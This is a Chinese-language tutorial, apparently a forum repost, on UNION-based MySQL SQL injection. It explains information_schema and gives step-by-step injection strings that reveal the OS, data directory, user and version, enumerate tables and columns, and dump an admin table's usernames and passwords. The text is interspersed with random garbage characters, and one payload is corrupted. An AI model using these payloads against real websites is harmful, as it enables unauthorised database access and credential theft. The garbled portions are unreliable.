mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

3 C0 {3 [8 i1 V  v% J$ X学习盲注前先了解下 IFORMATION_SCHEMA 库
  D2 ^9 s. c' S3 N, M
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
- P3 D# V, T3 i6 {% ~1 a1 S存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& G! i2 I8 n6 a' t0 R( G1 z$ c0 u( V1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
9 ^6 a8 v6 U: U6 h# B
% _) B' x- v+ B( B: ?  K|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
. f( S7 R( i6 d: _; v& F|---字段：TABLE_NAME ->存储表的表名

: y: u) d- J" j- G& g9 N|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

9 H0 c# l# x6 O2 G0 `$ v+ N- g|---字段：COLUMN_NAME ->该字段的名称
% F4 _. s# v; a4 s' G# \) M* R/ H
) G0 x( w5 k$ y* M4 w4 a5 S4 O
7 [0 x$ h% W. j, M
###########################################################################
. r$ K$ S( s* t# ~* i
0x001 获取系统信息:
' `1 e3 u/ Z$ H# i
, c) G" e2 M5 N4 [% hunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
* S3 ]1 V+ n- |- h% z) A- c3 u
) Z, G/ j7 Z  W; q& ?% ^( {/ d' E/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
$ D% S4 s  w" pdatabase() 当前数据库名称
0x3c62723e 换行HEX值
: F& C* ^: G; e/ T
*/
1 L5 A8 F8 X, u7 A. C  o1 S


1 T& B" Y1 t* o7 g/ T######################################################################
3 W; U" L! W/ Z) H8 j5 A
0x002 获取表名
! B+ G& F, u* o# ]* M4 x
# f3 _# k2 P1 r* _& _7 Bunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

8 S; U* H( a  G9 ?  W# L- _

/ n$ w, X, `) Z, Q/*
- O& U; H; T3 D0 X( j$ F4 t( H
0x67617264656e 为当前数据库名
- L" |# E8 M4 b5 X; Z
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
+ `3 f# s! Y. R2 n( z
' P4 G+ `4 {. D$ N" z9 p+ C1 ]+ [*/
+ N& T3 b& E8 ^* A
' G! r9 ~6 A6 A3 d: c) c- s######################################################################

% v& [. K, D* q
, v# S" T  G& o4 d1 a. A  u0 C
* }( D/ }; V! B, T8 G. W0x003 获取字段
8 m( e" G1 y5 N3 V# w
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
" U% H; C' a' P; U
! V( S( [) O8 _- k/*

* t* F0 D5 C% r2 ngroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
& {/ D2 g$ j9 ~1 e' R7 G% Z1 u
0x61646d696e ->选择一个表

" T& e: R  ]' P' K2 ^1 d$ z0x67617264656e ->数据库名

*/

8 Y' U! N  N6 W1 e& W#####################################################################
- k4 H* K) F" `2 \% M( @! l9 Q


0x004 获取数据
: L6 c; z* J$ Y* ?5 @* G" K
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 X- e- [$ G; w9 Y


/*
' o7 Z5 q8 s0 ^  Q3 X
0x3c62723e 换行符号HEX编码

3 i; N' R  `. H& I% }) G1 wgroup_concat 同时获得该字段所有数据

% V, L+ l4 i! c' `9 {( w( r* f5 _4 y: j*/

) Q- E/ r% A0 i5 j, o% c9 b